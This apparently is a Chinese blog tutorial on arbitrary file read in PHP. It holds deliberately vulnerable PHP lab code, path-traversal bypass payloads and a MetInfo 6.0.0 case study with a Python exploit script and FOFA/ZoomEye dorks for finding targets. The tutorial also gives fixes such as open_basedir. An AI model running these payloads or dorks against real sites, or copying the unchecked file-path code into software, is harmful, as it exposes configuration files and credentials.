任意文件读取

文章目录

  • 渗透测试漏洞原理
  • 任意文件读取
    • 1. 任意文件读取概述
      • 1.1 漏洞成因
      • 1.2 漏洞危害
      • 1.3 漏洞分类
      • 1.4 任意文件读取
        • 1.4.1 文件读取
        • 1.4.2 任意文件读取
        • 1.4.3 权限问题
      • 1.5 任意文件下载
        • 1.5.1 一般情况
        • 1.5.2 PHP实现
        • 1.5.3 任意文件下载
    • 2. 任意文件读取攻防
      • 2.1 路径过滤
        • 2.1.1 过滤../
      • 2.2 简单绕过
        • 2.2.1 双写绕过
        • 2.2.2 绝对路径
        • 2.2.3 使用..\
        • 2.2.4 设置白名单
    • 3. 任意文件读取挖掘
      • 3.1 手工挖掘
      • 3.2 经典案例（metlnfo_6.0.0_file-read）
        • 3.2.1 漏洞描述
        • 3.2.2 漏洞等级
        • 3.2.3 影响版本
        • 3.2.4 漏洞复现
        • 3.2.5 漏洞点分析
        • 3.2.6 深度利用
        • 3.2.7 修复建议
    • 4. 漏洞修复方案
      • 4.1 输入验证
      • 4.2 避免其他漏洞
      • 4.3 限定文件的访问范围

渗透测试漏洞原理

任意文件读取

1. 任意文件读取概述

一些网站的需求，可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过，就可以查看或下载任意文件。这些文件可以是源代码文件，配置文件，敏感文件等等。

  • 任意文件读取会造成（敏感）信息泄露：
  • 任意文件读取很多情况是由于其他漏洞引发的，如，RCE、目录遍历、文件包含等。
  • 任意文件读取与任意文件下载本质上没有区别，信息都是从服务端流向浏览器的。

任意文件读取与下载可能形式不同，但是从本质上讲读取与下载没有区别，从权限角度来讲，读取与下载都需要读权限。

1.1 漏洞成因

不管是任意文件读取还是任意文件下载，触发漏洞的条件都是相同的：

  • 存在读取文件的功能（函数），也就是说，Wb应用开放了文件读取功能：
  • 读取文件的路径客户端可控，完全控制或影响文件路径参数：
  • 没有对文件路径进行校验或者校验不严导致校验被绕过，
  • 输出了文件的内容。

1.2 漏洞危害

下载服务器任意文件，包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞，构成完整攻击链。对源代码文件进行代码审计，查找更多的漏洞。

任意文件读取与下载重点关注的文件：

  • 源代码
  • 配置文件
  • 敏感文件
  • 日志文件
  • …

1.3 漏洞分类

  • 任意文件读取
  • 任意文件下载

1.4 任意文件读取

以PHP脚本为例子，有一些函数可以实现文件读取功能。

1.4.1 文件读取

读取文件的函数函数特点
readfile()直接读取文件内容
自带输出功能
feed()直接读取文件内容
需要输出读取内容
fread()打开文件
计算文件大小
读取文件
输出文件
关闭文件

函数具体介绍：PHP: Hypertext Preprocessor。

实验环境在phpstudy的www目录下创建一个file-read目录，在目录中创建一下php文件。

readfile：

// readfile.php
<?php$fp = "../phpinfo.php"; readfile($fp);
?>

image-20230831163503847

访问页面，查看页面源代码，读取成功。

image-20230831163532888

file_get_contents：

// file_get_contents.php
<?php$fp = "../phpinfo.php"; echo file_get_contents($fp);
?>

image-20230831163931880

访问页面，查看页面源代码，读取成功。

image-20230831163911619

fread：

// fread.php
<?php$fp = "../phpinfo.php";$f = fopen($fp,'r');		//打开文件$f_size = filesize($fp); 	//计算文件大小echo fread($f, $f_size); 	//读取文件内容并输出到页面上fclose($f);
?>

image-20230831164353800

访问页面，查看页面源代码，读取成功。

image-20230831164432437

1.4.2 任意文件读取

变量$fp,会捕获GET方式传递过来的filepath参数。

$fp = @$_GET['filepath'];

image-20230831164814684

image-20230831164805890

filepath客户端可控，并且没有经过校验，会造成任意文件读取漏洞。

?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php 
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts 
?filePath=../../../../../../etc/hosts

image-20230831164911981

1.4.3 权限问题

  • Windows + IIS + ASP/ASPX：低权限
  • Windows + Apache + php：高权限
  • Windows + Java：高权限
  • Linux + Apache + PHP：低权限
  • Linux + Nginx + PHP：不一定
  • Linux + Java：高权限

1.5 任意文件下载

1.5.1 一般情况

直接下载：例如图片另存为。

a标签下载：

<a href = './a.jpg'>IMG Download</a>

1.5.2 PHP实现

PHP文件下载实现过程：

  • 先读取文件
  • 在输出文件
  • 提供下载
// file-download.php<?php$fp = './a.jpg';header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>

1.5.3 任意文件下载

任意文件下载的条件：

  • 已知目标文件路径
  • 目标文件路径，客户端可控
  • 没有经过校验或校验不严格
$fp = $_GET['filepath'];

实验：

<?php$fp = $_GET['filepath'];// header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>

image-20230831165850154

下载成功

image-20230831165930571

文件内容如下：
在这里插入图片描述

2. 任意文件读取攻防

2.1 路径过滤

2.1.1 过滤…/

<?php$fp = @$_GET['filepath'];$fp = str_replace("../","",$fp); readfile($fp);
?>

2.2 简单绕过

2.2.1 双写绕过

?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts

2.2.2 绝对路径

?filepath=c:/windows\system32\drivers\etc\hosts

2.2.3 使用…\

?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

2.2.4 设置白名单

设置只能访问a,b,cPHP文件

<?php$fp = @$_GET['filepath'];if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){readfile($fp);}else{echo "Please stop!";}
?>

3. 任意文件读取挖掘

3.1 手工挖掘

从文件名上看从参数名上看
readfile.php
filedownload.php
filelist.php		f=
file=
filepath=
fp=
readfile=
path=
readpath=
url=
menu=
META-INF=
WEB-INF=
content=

3.2 经典案例（metlnfo_6.0.0_file-read）

下载链接：MetInfo历史版本与文件。

说明内容
漏洞编号–
漏洞名称MetInfo 6.0.0 任意文件读取漏洞
漏洞评级高危
影响范围MetInfo 6.0.0
漏洞描述MetInfo 存在任意文件读取漏洞，攻击者利用该漏洞， 在具有权限的情况下，可以读取网站任意文件，包括配置文件等敏感文件。
修复方案打补丁 升级 上设备

3.2.1 漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

3.2.2 漏洞等级

高危

3.2.3 影响版本

MetInfo 6.0.0

3.2.4 漏洞复现

基础环境

组件版本
OSMicrosoft Windows Server 2016 Standard
Web ServerphpStudy 2016
MetInfo6.0.0

安装过程

image-20230831112202780

image-20230831112312476

访问页面

image-20230831112339968

漏洞点

/include/thumb.php

页面访问该路径

http://127.0.0.1/MetInfo_6.0.0/include/thumb.php

image-20230831114153339

使用bp抓包查看，bp是默认不抓图片的包，这里修改配置。

image-20230831113136239

将抓取到的数据包右键发送到重发器上。

image-20230831113306383

第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

image-20230831113500433

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

image-20230831113523130

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

image-20230831113542697

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

image-20230831113627951

注意：

  • 此POC 仅适用于Windows 系统，Linux 下无效。
    • 因为输入的右斜线\在windows中作为目录的分隔符，而linux中不是。

3.2.5 漏洞点分析

漏洞点产生位置在thumb.php文件

image-20230831114511371

加载old_thumb类

image-20230831115812562

说明：这里的防守做两步判断

  • 将…/和./全部过滤为空。

  • if判断前四个字符必须是http，并且计算./的位置，也就是提交的dir变量中是否有./的出现，如果没有出现返回false。

  • readfile()：任意文件读取函数

  • dir这个读取文件的路径客户端可控，但是不完全可控，限制可以被绕过。

3.2.6 深度利用

exp编写

import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__           __________                   .___\_   _____/|__|  |   ____   \______   \ ____ _____     __| _/|    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | \/                 \/          \/     \/     \/      \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir":  param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)

image-20230831141903577

漏洞挖掘

指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"

3.2.7 修复建议

  • 打补丁
  • 升级
  • 上设备

4. 漏洞修复方案

4.1 输入验证

  • 让web用户只能访问（读取），所需要的文件和路径。

4.2 避免其他漏洞

  • 不能有文件包含漏洞，目录遍历漏洞或其他漏洞。

4.3 限定文件的访问范围

让用户不能访问Web根目录以外的路径。

php.ini配置文件中，可以通过选项open_basedir来限定文件访问的范围。

open_basedir = C:\software\phpstudy_pro\WWW

image-20230831171848343

实验

不做限定的情况：

image-20230831171805332

做限定的情况：

image-20230831171827238

但是这样还有读取到当前的配置文件。

image-20230831171951634

解决方式：所有的修复方案需要配合使用。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/114280.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

云计算的三个主要服务模型：IaaS、PaaS 和 SaaS

云计算的三个主要服务模型：IaaS、PaaS 和 SaaS

文章目录 介绍基础设施即服务&#xff08;Infrastructure as a Service&#xff0c;IaaS&#xff09;平台即服务&#xff08;Platform as a Service&#xff0c;PaaS&#xff09;软件即服务&#xff08;Software as a Service&#xff0c;SaaS&#xff09; 区别基础设施即服务&…
阅读更多...
Ansible学习笔记6

Ansible学习笔记6

stat模块&#xff1a;获取文件的状态信息&#xff0c;类似Linux的stat状态。 获取/etc/fstab文件的状态。 [rootlocalhost tmp]# ansible group1 -m stat -a "path/etc/fstab" 192.168.17.106 | SUCCESS > {"ansible_facts": {"discovered_inter…
阅读更多...
python基础爬虫反爬破解

python基础爬虫反爬破解

文章目录 爬虫初识1. HTTP协议与WEB开发&#xff08;1&#xff09;简介&#xff08;2&#xff09;socket套接字&#xff08;3&#xff09;请求协议与响应协议 2. requests&反爬破解&#xff08;1&#xff09;UA反爬&#xff08;2&#xff09;referer反爬&#xff08;3&…
阅读更多...
并发编程的故事——共享模型之内存

并发编程的故事——共享模型之内存

共享模型之内存 文章目录 共享模型之内存一、JVM内存抽象模型二、可见性三、指令重排序 一、JVM内存抽象模型 主要就是把cpu下面的缓存、内存、磁盘等抽象成主存和工作内存 体现在 可见性 原子性 有序性 二、可见性 出现的问题 t线程如果频繁读取一个静态变量&#xff0c;那…
阅读更多...
高精度地图定位在高速公路自动驾驶系统中的应用

高精度地图定位在高速公路自动驾驶系统中的应用

近年来随着汽车保有量不断增加&#xff0c;随之而来的是: ( 1) 严重的交通拥堵&#xff0c;通行效率低下&#xff0c;用在通行上的时间不断增加; ( 2) 交通事故频发&#xff0c;交通事故导致的伤亡人数和费用不断增加&#xff0c;而且绝大多数事故是由人为因素导致的; ( 3) 大气…
阅读更多...
算法——排序

算法——排序

排序 下面的代码会用到宏定义&#xff0c;因为再C中没有swap交换函数&#xff0c;所以对于swap的宏定义代码如下&#xff1a; #define swap(a, b) {\__typeof(a) __a a; a b; b __a;\ } 稳定排序&#xff1a; 1.插入排序&#xff1a; 插入排序会将数组&#xff0c;分位两个部…
阅读更多...
GPU编程（基于Python和CUDA）（二）——显示GPU信息

GPU编程（基于Python和CUDA）（二）——显示GPU信息

系列文章目录 GPU编程&#xff08;基于Python和CUDA&#xff09;&#xff08;一&#xff09;——零基础安装pycuda GPU编程&#xff08;基于Python和CUDA&#xff09;&#xff08;二&#xff09;——显示GPU信息 显示GPU信息 系列文章目录前言通过CUDA查看GPU信息使用pycuda查…
阅读更多...
CA证书颁发机构服务器

CA证书颁发机构服务器

目录 一、CA证书颁发机构是什么&#xff1f; 二、数字证书可以干什么&#xff1f; 三、PKI&#xff1a;即公钥加密体系&#xff08;public key cryptography&#xff09; 四、CA在网络中的工作流程及原理&#xff08;以网站为例&#xff09; 五、HTTPS 的工作原理 六、CA私有证…
阅读更多...
关于CICD流水线的前端项目运行错误，npm项目环境配置时出现报错：Not Found - GET https://registry.npm...

关于CICD流水线的前端项目运行错误，npm项目环境配置时出现报错：Not Found - GET https://registry.npm...

关于CICD流水线的前端项目运行错误&#xff0c;npm项目环境配置时出现报错&#xff1a;Not Found - GET https://registry.npm… 原因应该是某些jar包缓存中没有需要改变镜像将包拉下来 npm config set registry http://registry.npm.taobao.org npm install npm run build
阅读更多...
Android 下第一个fragment app 先Java 后Kotlin

Android 下第一个fragment app 先Java 后Kotlin

看着视频学习的&#xff0c;Fragment&#xff1a;3.Fragment使用方法_哔哩哔哩_bilibili 在android studio 下新建一个工程&#xff0c;类型是 Empty View Activity&#xff0c;本身就有一个Activity。就有文件MainActivity.java 或者kt&#xff0c;还有一个layout 文件&#…
阅读更多...
$attrs,$listeners

$attrs,$listeners

vue实现组件通信的方式有&#xff1a; 父子通信 父组件向子组件传递通过props定义各个属性来传递&#xff0c;子组件向父组件传递通过$emit触发事件 ref也可以访问组件实例跨级通信 vuex bus provide / inject $attrs / $listeners解释 $attrs / $listeners $attrs 将父组件中…
阅读更多...
linux免密登录报错 Bad owner or permissions on /etc/ssh/ssh_config.d/05-redhat.conf

linux免密登录报错 Bad owner or permissions on /etc/ssh/ssh_config.d/05-redhat.conf

问题&#xff1a;权限不对的 解决&#xff1a; 1.检查文件的所有者和权限。 确保文件的所有者是正确的。 运行以下命令来确定文件的所有者和权限&#xff1a; ls -l /etc/ssh/ssh_config.d/05-redhat.conf 通常情况下&#xff0c;SSH配置文件应该属于root用户。如果所有者不是…
阅读更多...
前端list列表自定义图标并设置大小

前端list列表自定义图标并设置大小

前端list列表自定义图标并设置大小 一、前端list列表基础知识回顾 前端公有两种列表&#xff0c;一种是有序列表&#xff08;ol&#xff09;&#xff0c;一种是无序列表&#xff08;ul&#xff09;&#xff0c;它们的子元素都是&#xff08;li&#xff09;。 1.1 有序列表&a…
阅读更多...
模拟电子技术基础学习笔记三 PN结

模拟电子技术基础学习笔记三 PN结

采用不周的掺杂工艺&#xff0c;将P型半导体与N型半导体制作在同一块硅片上&#xff0c;在它们的交界面就形成PN结。 扩散运动 物质总是从浓度高的地方向浓度低的地方运动&#xff0c;这种由于浓度差而产生的运动称为扩散运动。 空间电荷区 - 耗尽层 漂移运动 在电场力的作…
阅读更多...
(数学) 剑指 Offer 39. 数组中出现次数超过一半的数字 ——【Leetcode每日一题】

(数学) 剑指 Offer 39. 数组中出现次数超过一半的数字 ——【Leetcode每日一题】

❓ 剑指 Offer 39. 数组中出现次数超过一半的数字 难度&#xff1a;简单 数组中有一个数字出现的次数超过数组长度的一半&#xff0c;请找出这个数字。 你可以假设数组是非空的&#xff0c;并且给定的数组总是存在多数元素。 示例 1: 输入: [1, 2, 3, 2, 2, 2, 5, 4, 2] 输…
阅读更多...
语音专线如何接入呼叫中心系统

语音专线如何接入呼叫中心系统

想要了解语音专线是否可以接入呼叫中心系统&#xff0c;首先要分别了解什么是语音专线和什么是呼叫中心系统。语音专线接入呼叫中心系统想要实现什么功能&#xff0c;下面小易就来科普一下。 什么是语音专线&#xff1f;语音专线可以理解为联通、电信、移动运营商提供的一种语音…
阅读更多...
并发编程的故事——Java线程

并发编程的故事——Java线程

Java线程 文章目录 Java线程一、线程创建二、线程运行三、线程运行四、主线程和守护线程五、线程的五种状态六、线程的六种状态七、烧水泡茶案例 一、线程创建 创建线程方法一&#xff1a; Thread重写run方法 Slf4j(topic "c.MyTest1") public class MyTest1 {publ…
阅读更多...
HTML 播放器效果

HTML 播放器效果

效果图 实现代码 <!DOCTYPE HTML> <html><head><title>爱看动漫社区 | 首页 </title><link href"css/bootstrap.css" relstylesheet typetext/css /><!-- jQuery --><script src"js/jquery-1.11.0.min.js"…
阅读更多...
Mysql表关联简单介绍（inner join、left join、right join、full join不支持、笛卡尔积）

Mysql表关联简单介绍（inner join、left join、right join、full join不支持、笛卡尔积）

文章目录 0. 交集、并集、差集含义说明1. 简单演示上图七种情况0. A、B表数据准备1. left outer join 简称 left join 左表所有数据&#xff0c;右表关联数据&#xff0c;没有的以null填充2. right outer join 简称 right join&#xff0c;右表所有数据&#xff0c;左表关联数据…
阅读更多...
【java中的Set集合】HashSet、LinkedHashSet、TreeSet（最通俗易懂版！！）

【java中的Set集合】HashSet、LinkedHashSet、TreeSet（最通俗易懂版！！）

目录 一、HashSet集合 1.HashSet集合的特点 2.HashSet常用方法 二、LinkedHashSet集合 LinkedHashSet集合的特点 三、TreeSet集合 1.TreeSet集合的特点 2.TreeSet的基本使用 四、HashSet、LinkedHashSet、TreeSet的使用场景 五、list和set集合的区别 一、HashSet集合 …
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023